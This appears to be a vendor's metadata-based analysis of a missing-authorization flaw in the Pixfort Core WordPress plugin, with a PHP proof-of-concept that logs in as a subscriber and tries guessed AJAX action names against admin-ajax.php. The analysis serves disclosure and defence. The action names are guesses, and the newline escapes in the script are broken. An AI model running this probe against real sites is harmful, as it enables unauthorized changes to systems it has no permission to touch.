Atomic Edge analysis of CVE-2026-28071 (metadata-based):
This vulnerability stems from a missing capability check in the Pixfort Core WordPress plugin. The CWE-862 classification confirms the plugin fails to verify user permissions before executing a privileged function. The description states authenticated attackers with Subscriber-level access can perform unauthorized actions. Subscriber is the lowest WordPress role, indicating the vulnerable endpoint lacks any authorization check.
Atomic Edge research infers the attack vector involves a WordPress AJAX handler or REST API endpoint. The plugin likely registers a function via wp_ajax_{action} or wp_ajax_nopriv_{action} hooks without verifying current_user_can() permissions. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) indicates network accessibility, low attack complexity, low privileges required, no user interaction, and low integrity impact with no confidentiality or availability effects.
Exploitation requires a valid WordPress subscriber account. Attackers would send a crafted POST request to /wp-admin/admin-ajax.php with an action parameter matching the vulnerable handler. The exact action name cannot be confirmed without code, but plugin naming conventions suggest possibilities like pixfort_core_action or pixfort_ajax_action.
The fix in version 3.2.26 likely adds a capability check such as current_user_can(‘manage_options’) or a custom capability. The patch may also implement nonce verification, though the CWE specifically addresses missing authorization. Impact is limited to integrity violations. Attackers could modify plugin-specific settings, trigger unauthorized operations, or manipulate limited site functionality accessible through the vulnerable endpoint.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28071 - pixfort Core <= 3.2.22 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-28071
* Assumptions based on metadata:
* 1. Vulnerable endpoint is /wp-admin/admin-ajax.php
* 2. Action parameter contains 'pixfort' prefix
* 3. No capability check present
* 4. Subscriber-level access sufficient
* 5. POST method required
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Common AJAX action patterns for Pixfort Core plugin
$possible_actions = [
'pixfort_core_action',
'pixfort_ajax_action',
'pixfort_core_ajax',
'pixfort_action',
'pixfort_core_update',
'pixfort_core_save',
'pixfort_core_process'
];
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Test each possible action
foreach ($possible_actions as $action) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => $action,
'data' => 'test_exploit_payload'
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing action: {$action}n";
echo "HTTP Code: {$http_code}n";
echo "Response: " . substr($response, 0, 200) . "nn";
curl_close($ch);
// Stop if we get a non-error response (likely successful exploitation)
if ($http_code == 200 && !preg_match('/error|invalid|403|401/i', $response)) {
echo "Potential vulnerable endpoint found: {$action}n";
break;
}
}
// Cleanup
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
?>
